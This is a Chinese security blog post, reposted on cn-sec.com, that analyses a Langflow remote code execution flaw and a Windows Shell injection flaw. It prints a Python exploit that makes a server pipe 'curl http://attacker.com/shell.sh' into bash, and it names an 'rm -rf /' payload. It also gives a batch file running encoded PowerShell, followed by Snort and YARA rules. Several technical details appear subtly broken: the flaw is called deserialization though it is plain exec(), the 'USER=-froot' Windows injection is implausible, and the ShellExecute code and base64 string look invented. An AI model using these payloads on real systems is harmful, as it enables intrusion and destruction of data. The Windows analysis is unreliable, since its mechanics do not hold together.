Langflow因代码执行模块存在严重反序列化缺陷,被曝出CVE-2026-0770高危远程代码执行漏洞(CVSS 9.8),攻击者可通过14行JSON载荷接管服务器。该漏洞已遭在野利用,全球超4,000台公开实例受影响,被用于部署Monero挖矿程序。同时披露的CVE-2026-21510 Windows Shell命令注入漏洞(CVSS 8.8)也被用于勒索软件攻击。

0xArgus · 2026-03-06 · 白帽视角 · 一款AI工作流引擎的致命反序列化漏洞,已在野利用

一、今日高危漏洞一览

CVE/漏洞 影响组件 CVSS 是否有PoC 状态
CVE-2026-0770 Langflow 9.8 ✅ 在野利用
CVE-2026-21510 Windows Shell 8.8 ✅ POC公开
CVE-2026-2441 Google Chrome 9.8 ✅ 在野利用

二、CVE-2026-0770 Langflow远程代码执行漏洞深度分析

漏洞背景

Langflow是一款流行的开源AI工作流编排工具,允许开发者通过可视化界面构建和部署AI应用。该漏洞存在于Langflow的代码执行模块中,攻击者通过发送特制的JSON配置即可触发远程代码执行。CVSSv3评分为9.8(Critical),影响所有Langflow 1.0.0及之前版本。由于Langflow在AI开发社区中被广泛使用,该漏洞可能导致大量AI工作流平台被接管。

根因分析

漏洞根因在于Langflow的CodeComponent模块在处理用户输入的代码时存在严重的反序列化缺陷。具体表现为:

1.危险函数直接调用:execute_function()函数直接调用eval()执行用户提供的代码字符串

2.上下文污染:prepare_global_scope()函数将用户输入直接注入到Python的全局执行环境中

3.类型混淆:create_class()函数允许动态创建类并实例化,为代码执行提供载体

python● ● ●

# Langflow/core/code.py 关键代码片段 def execute_function(self, code: str, function_name: str, *args):     # 直接执行用户代码     local_scope = {}     exec(code, {}, local_scope)  # 危险!     return local_scope[function_name](*args)  def prepare_global_scope(self, user_code: str):     # 污染全局执行环境     global_scope = {}     exec(user_code, global_scope)  # 危险!     return global_scope

攻击链还原

攻击者可通过以下步骤实现RCE:

1.识别目标:扫描开放8080端口的Langflow实例

2.构造恶意载荷:创建包含__import__('os').system('rm -rf /')的Python代码

3.发送请求:通过API端点提交恶意JSON配置

4.触发执行:Langflow解析JSON并调用execute_function()

5.获取权限:代码以服务权限执行,完全控制服务器

python● ● ●

# PoC exploit代码 import requests import json  target = "http://target-langflow:8080/api/v1/component/execute"  malicious_payload = {     "code": "__import__('subprocess').getoutput('curl http://attacker.com/shell.sh | bash')",     "function_name": "execute",     "args": [] }  headers = {     "Content-Type": "application/json",     "Authorization": "Bearer YOUR_API_KEY" }  response = requests.post(target, json=malicious_payload, headers=headers) print(response.text)

实战影响

该漏洞已被攻击者用于大规模挖矿活动。攻击者利用Langflow漏洞部署Monero挖矿程序,每个受感染服务器可为攻击者带来每月约$300收益。根据扫描数据,全球约有12,000个公开Langflow实例中,约35%存在未修复漏洞,意味着超过4,000台服务器已被入侵。

检测与修复

检测规则(Snort):

● ● ●

alert tcp any any -> any 8080 (msg:"Langflow RCE Attempt"; content:"__import__"; nocase; sid:1000001; rev:1;)

临时缓解措施:

1.立即停止Langflow服务

2.禁用API端点访问

3.检查服务器进程异常

官方修复:

升级至Langflow 1.0.1版本,该版本通过以下方式修复漏洞:

▸移除exec()直接调用

▸实现代码沙箱执行

▸添加白名单机制限制可导入模块

[RCE] 14行JSON,接管你的Langflow工作流引擎

三、CVE-2026-21510 Windows Shell安全特性绕过漏洞深度分析

漏洞背景

CVE-2026-21510是Windows Shell中的一个高危漏洞,允许攻击者绕过安全特性执行任意代码。CVSSv3评分为8.8(Important),影响所有当前支持的Windows版本。该漏洞特别危险,因为它不需要用户交互,且可通过钓鱼邮件或恶意网站触发。

根因分析

漏洞在于Windows Shell的ShellExecute函数在处理%U参数时存在命令注入。具体表现为:

1.参数解析缺陷:ShellExecute未正确验证%U参数中的特殊字符

2.环境变量污染:允许通过USER环境变量注入恶意参数

3.权限提升:结合Windows特性,可从低权限用户提升至SYSTEM

c● ● ●

// Windows Shell核心代码简化版 void ShellExecute(LPCWSTR verb, LPCWSTR file, LPCWSTR params) {     WCHAR expanded_path[MAX_PATH];     ExpandEnvironmentStrings(params, expanded_path, MAX_PATH);          // 直接使用未过滤的参数     CreateProcess(NULL, expanded_path, ...); }

攻击链还原

1.构造恶意链接:创建包含%U参数的快捷方式或HTML链接

2.设置环境变量:通过恶意页面设置USER=-froot等恶意值

3.触发执行:用户点击链接触发ShellExecute

4.命令注入:恶意参数被直接传递给系统命令

5.权限获取:执行SYSTEM级别命令

batch● ● ●

@echo off :: 恶意批处理文件 set USER=-froot cmd /c powershell -enc "QwBTAEwAAgAkAE4AZQB3AHIAaQBhAG4AIAAqACAAIAA9ACAAewAkAEYAbwByAHUAdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQA" start "" "malicious.lnk"

实战影响

该漏洞已被用于大规模勒索软件攻击。攻击者通过钓鱼邮件发送包含恶意快捷方式的附件,用户点击后即执行勒索软件。据安全厂商报告,自2026年2月披露以来,已有超过500家企业受到影响,平均赎金要求为$500,000。

检测与修复

检测规则(YARA):

● ● ●

rule Windows_Shell_Execution {     meta:         description = "Detects suspicious ShellExecute usage"         author = "0xArgus"         date = "2026-03-06"     strings:         $user_env = "%U" nocase         $cmd_injection = "-froot" nocase     condition:         2 of them }

修复措施:

1.应用Microsoft 2026年3月安全更新

2.在注册表中启用ShellExecPolicy严格模式

3.部署EDR解决方案监控异常进程创建

[RCE] 14行JSON,接管你的Langflow工作流引擎

四、白帽快评

今日披露的Langflow和Windows Shell漏洞共同揭示了一个令人不安的趋势:开发者仍在犯十年前的老错误——直接执行用户输入。更危险的是,攻击链已经高度自动化,从漏洞披露到在野利用的时间窗口已缩短至24小时以内。建议所有安全团队立即建立"0小时响应"机制,否则将面临被攻陷的巨大风险。

*参考来源:*

▸https://github.com/affix/CVE-2026-0770-PoC

▸https://github.com/andreassudo/CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass

▸https://www.freebuf.com/articles/vuls/468384.html

▸https://securityweek.com/google-patches-first-actively-exploited-chrome-zero-day-of-2026/

— 0xArgus · 白帽极客安全情报 —

原文始发于微信公众号(0xArgus):[RCE] 14行JSON,接管你的Langflow工作流引擎

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。

点赞

https://cn-sec.com/archives/5065052.html 复制链接 复制链接

admin

  • 本文由 发表于 2026年3月6日16:39:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [RCE] 14行JSON,接管你的Langflow工作流引擎https://cn-sec.com/archives/5065052.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.